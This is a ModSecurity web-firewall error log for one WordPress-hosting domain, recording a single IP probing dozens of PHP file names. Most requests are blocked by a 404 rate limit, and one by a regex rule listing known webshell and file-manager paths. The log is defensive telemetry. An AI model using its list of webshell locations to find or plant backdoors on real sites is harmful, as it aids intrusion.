[Fri May 08 11:38:02.499138 2026] [:error] [pid 51009:tid 51089] [client 172.212.136.43:25945] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "af1amuB0GbUWhxgzX9XK3AAAAI0"]
[Fri May 08 11:38:03.311154 2026] [:error] [pid 51113:tid 51116] [client 172.212.136.43:25937] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "af1am0Qfs7sWtqkpQIdL5QAAAME"]
[Fri May 08 11:38:04.499420 2026] [:error] [pid 51009:tid 51087] [client 172.212.136.43:25793] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "af1anOB0GbUWhxgzX9XK3QAAAIs"]
[Fri May 08 11:38:05.874347 2026] [:error] [pid 61356:tid 61411] [client 172.212.136.43:25914] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "af1anYx3vpB8oWhUq2Pk9QAAAdc"]
[Fri May 08 11:38:06.673467 2026] [:error] [pid 61356:tid 61392] [client 172.212.136.43:25798] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "af1anox3vpB8oWhUq2Pk-QAAAcQ"]
[Fri May 08 11:38:07.568054 2026] [:error] [pid 61356:tid 61412] [client 172.212.136.43:25894] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "af1an4x3vpB8oWhUq2Pk-wAAAdg"]
[Fri May 08 11:38:09.141750 2026] [:error] [pid 61356:tid 61388] [client 172.212.136.43:25933] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "af1aoYx3vpB8oWhUq2PlAQAAAcA"]
[Fri May 08 11:38:10.056868 2026] [:error] [pid 34318:tid 34342] [client 172.212.136.43:25870] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "af1aosr3guirgJiKhzCm3wAAARY"]
[Fri May 08 11:38:11.113030 2026] [:error] [pid 61356:tid 61411] [client 172.212.136.43:25857] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "af1ao4x3vpB8oWhUq2PlCwAAAdc"]
[Fri May 08 11:38:11.705468 2026] [:error] [pid 34318:tid 34343] [client 172.212.136.43:25815] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "af1ao8r3guirgJiKhzCm4QAAARc"]
[Fri May 08 11:38:12.170154 2026] [:error] [pid 34318:tid 34322] [client 172.212.136.43:25837] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "af1apMr3guirgJiKhzCm4gAAAQI"]
[Fri May 08 11:38:12.693309 2026] [:error] [pid 34318:tid 34320] [client 172.212.136.43:25925] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "af1apMr3guirgJiKhzCm4wAAAQA"]
[Fri May 08 11:38:13.855878 2026] [:error] [pid 34318:tid 34338] [client 172.212.136.43:25871] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son.php"] [unique_id "af1apcr3guirgJiKhzCm5AAAARI"]
[Fri May 08 11:38:14.618904 2026] [:error] [pid 61355:tid 61379] [client 172.212.136.43:25813] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son.php"] [unique_id "af1apvkhJTi30CBXmMknjgAAAZI"]
[Fri May 08 11:38:15.269344 2026] [:error] [pid 61355:tid 61374] [client 172.212.136.43:25824] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son.php"] [unique_id "af1ap_khJTi30CBXmMknjwAAAY0"]
[Fri May 08 11:38:15.891067 2026] [:error] [pid 61355:tid 61371] [client 172.212.136.43:25896] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/son.php"] [unique_id "af1ap_khJTi30CBXmMknkgAAAYo"]
[Fri May 08 11:38:16.432519 2026] [:error] [pid 61356:tid 61399] [client 172.212.136.43:25808] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "af1aqIx3vpB8oWhUq2PlGQAAAcs"]
[Fri May 08 11:38:17.047382 2026] [:error] [pid 61356:tid 61392] [client 172.212.136.43:25797] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "af1aqYx3vpB8oWhUq2PlGgAAAcQ"]
[Fri May 08 11:38:17.640738 2026] [:error] [pid 51008:tid 51057] [client 172.212.136.43:25962] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "af1aqXB58C2Y1tgLtuJWsAAAAEg"]
[Fri May 08 11:38:18.787181 2026] [:error] [pid 51009:tid 51077] [client 172.212.136.43:25910] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "af1aquB0GbUWhxgzX9XK3wAAAIE"]
[Fri May 08 11:38:19.501868 2026] [:error] [pid 61317:tid 61324] [client 172.212.136.43:25851] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zo.php"] [unique_id "af1aq8-fFk_CedOCOYtwpQAAAUQ"]
[Fri May 08 11:38:20.301130 2026] [:error] [pid 51009:tid 51082] [client 172.212.136.43:25841] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zo.php"] [unique_id "af1arOB0GbUWhxgzX9XK4AAAAIY"]
[Fri May 08 11:38:20.958117 2026] [:error] [pid 51008:tid 51070] [client 172.212.136.43:25940] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zo.php"] [unique_id "af1arHB58C2Y1tgLtuJWsQAAAFU"]
[Fri May 08 11:38:21.628065 2026] [:error] [pid 61355:tid 61367] [client 172.212.136.43:25843] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zo.php"] [unique_id "af1arfkhJTi30CBXmMknlAAAAYY"]
[Fri May 08 11:38:22.738269 2026] [:error] [pid 51008:tid 51069] [client 172.212.136.43:25833] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "af1arnB58C2Y1tgLtuJWsgAAAFQ"]
[Fri May 08 11:38:23.493783 2026] [:error] [pid 34318:tid 34342] [client 172.212.136.43:25810] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "af1ar8r3guirgJiKhzCm6wAAARY"]
[Fri May 08 11:38:24.102927 2026] [:error] [pid 51008:tid 51049] [client 172.212.136.43:25794] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "af1asHB58C2Y1tgLtuJWtAAAAEA"]
[Fri May 08 11:38:25.074407 2026] [:error] [pid 61356:tid 61408] [client 172.212.136.43:25955] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "af1asYx3vpB8oWhUq2PlIgAAAdQ"]
[Fri May 08 11:38:26.150605 2026] [:error] [pid 61356:tid 61403] [client 172.212.136.43:25936] [client 172.212.136.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "af1asox3vpB8oWhUq2PlJwAAAc8"]
[Fri May 08 11:38:27.927775 2026] [:error] [pid 61356:tid 61404] [client 172.212.136.43:25834] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "af1as4x3vpB8oWhUq2PlKQAAAdA"]
[Fri May 08 11:38:28.974195 2026] [:error] [pid 61317:tid 61339] [client 172.212.136.43:25888] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "af1atM-fFk_CedOCOYtwpgAAAVM"]
[Fri May 08 11:38:30.818920 2026] [:error] [pid 61356:tid 61408] [client 172.212.136.43:25981] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "af1atox3vpB8oWhUq2PlLQAAAdQ"]
[Fri May 08 11:38:31.576868 2026] [:error] [pid 61317:tid 61343] [client 172.212.136.43:25739] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "af1at8-fFk_CedOCOYtwqAAAAVc"]
[Fri May 08 11:38:32.624189 2026] [:error] [pid 34318:tid 34344] [client 172.212.136.43:25893] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "af1auMr3guirgJiKhzCm7QAAARg"]
[Fri May 08 11:38:33.214972 2026] [:error] [pid 51008:tid 51072] [client 172.212.136.43:25883] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "af1auXB58C2Y1tgLtuJWtwAAAFc"]
[Fri May 08 11:38:34.206010 2026] [:error] [pid 61355:tid 61363] [client 172.212.136.43:25850] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "af1auvkhJTi30CBXmMknlwAAAYI"]
[Fri May 08 11:38:35.193056 2026] [:error] [pid 61356:tid 61406] [client 172.212.136.43:25803] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "af1au4x3vpB8oWhUq2PlLgAAAdI"]
[Fri May 08 11:38:36.259042 2026] [:error] [pid 61355:tid 61371] [client 172.212.136.43:25863] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/de.php"] [unique_id "af1avPkhJTi30CBXmMknmQAAAYo"]
[Fri May 08 11:38:36.956080 2026] [:error] [pid 61356:tid 61396] [client 172.212.136.43:25943] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/de.php"] [unique_id "af1avIx3vpB8oWhUq2PlLwAAAcg"]
[Fri May 08 11:38:37.915759 2026] [:error] [pid 61356:tid 61392] [client 172.212.136.43:25860] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/de.php"] [unique_id "af1avYx3vpB8oWhUq2PlMQAAAcQ"]
[Fri May 08 11:38:39.175445 2026] [:error] [pid 61317:tid 61336] [client 172.212.136.43:25874] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/de.php"] [unique_id "af1av8-fFk_CedOCOYtwrwAAAVA"]
[Fri May 08 11:38:40.597881 2026] [:error] [pid 61317:tid 61335] [client 172.212.136.43:25853] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axe.php"] [unique_id "af1awM-fFk_CedOCOYtwsAAAAU8"]
[Fri May 08 11:38:41.554385 2026] [:error] [pid 61317:tid 61332] [client 172.212.136.43:25931] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axe.php"] [unique_id "af1awc-fFk_CedOCOYtwtgAAAUw"]
[Fri May 08 11:38:42.210291 2026] [:error] [pid 61317:tid 61331] [client 172.212.136.43:25868] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axe.php"] [unique_id "af1aws-fFk_CedOCOYtwtwAAAUs"]
[Fri May 08 11:38:43.327656 2026] [:error] [pid 61317:tid 61324] [client 172.212.136.43:25821] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axe.php"] [unique_id "af1aw8-fFk_CedOCOYtwugAAAUQ"]
[Fri May 08 11:38:44.051570 2026] [:error] [pid 34318:tid 34331] [client 172.212.136.43:25897] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "af1axMr3guirgJiKhzCm7wAAAQs"]
[Fri May 08 11:38:44.687004 2026] [:error] [pid 51113:tid 51119] [client 172.212.136.43:25882] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "af1axEQfs7sWtqkpQIdMCgAAAMQ"]
[Fri May 08 11:38:45.238357 2026] [:error] [pid 51009:tid 51091] [client 172.212.136.43:25732] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "af1axeB0GbUWhxgzX9XK4gAAAI8"]
[Fri May 08 11:38:46.226768 2026] [:error] [pid 34318:tid 34327] [client 172.212.136.43:25934] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "af1axsr3guirgJiKhzCm8AAAAQc"]
[Fri May 08 11:38:47.307571 2026] [:error] [pid 51008:tid 51057] [client 172.212.136.43:25976] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj11.php"] [unique_id "af1ax3B58C2Y1tgLtuJWuQAAAEg"]
[Fri May 08 11:38:48.076580 2026] [:error] [pid 61317:tid 61339] [client 172.212.136.43:25963] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj11.php"] [unique_id "af1ayM-fFk_CedOCOYtwvAAAAVM"]
[Fri May 08 11:38:48.955828 2026] [:error] [pid 61356:tid 61408] [client 172.212.136.43:25744] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj11.php"] [unique_id "af1ayIx3vpB8oWhUq2PlNAAAAdQ"]
[Fri May 08 11:38:49.698135 2026] [:error] [pid 61355:tid 61367] [client 172.212.136.43:25887] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj11.php"] [unique_id "af1ayfkhJTi30CBXmMknnQAAAYY"]
[Fri May 08 11:38:50.534801 2026] [:error] [pid 61317:tid 61335] [client 172.212.136.43:25795] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "af1ays-fFk_CedOCOYtwvQAAAU8"]
[Fri May 08 11:38:51.461208 2026] [:error] [pid 51113:tid 51120] [client 172.212.136.43:25902] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "af1ay0Qfs7sWtqkpQIdMEQAAAMU"]
[Fri May 08 11:38:52.415120 2026] [:error] [pid 51008:tid 51070] [client 172.212.136.43:25774] [client 172.212.136.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "af1azHB58C2Y1tgLtuJWuwAAAFU"]
